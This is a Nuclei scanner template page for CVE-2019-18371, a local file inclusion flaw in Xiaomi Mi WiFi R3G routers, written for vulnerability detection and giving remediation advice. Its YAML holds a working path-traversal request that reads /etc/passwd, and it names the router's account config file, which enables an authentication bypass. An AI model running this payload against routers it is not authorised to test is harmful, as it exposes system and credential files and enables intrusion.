Skip to content
Nuclei Templates

Xiaomi Mi WiFi R3G Routers - Local file Inclusion

ID: CVE-2019-18371

Severity: high

Author: ritikchaddha

Tags: cve2019,cve,lfi,router,mi,xiaomi

Description

Section titled “Description”

Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2019-18371


info:
  name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion
  author: ritikchaddha
  severity: high
  description: |
    Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
  remediation: |
    Update the firmware of the Xiaomi Mi WiFi R3G routers to the latest version, which includes a fix for the local file inclusion vulnerability.
  reference:
    - https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html
    - https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/arbitrary_file_read_vulnerability.py
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18371
    - https://github.com/password520/Penetration_PoC
    - https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18371
    cwe-id: CWE-22
    epss-score: 0.02789
    epss-percentile: 0.90617
    cpe: cpe:2.3:o:mi:millet_router_3g_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mi
    product: millet_router_3g_firmware
  tags: cve2019,cve,lfi,router,mi,xiaomi


http:
  - method: GET
    path:
      - "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100842bd9446699203234769377f744e831bec17cedfaa9de9973cb3981d632f5c6022007cecd4e37aeeb9daed2f3ab7aa39b63c245de216333915fc41602ab1ba5cc41:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-18371.yaml"

View on Github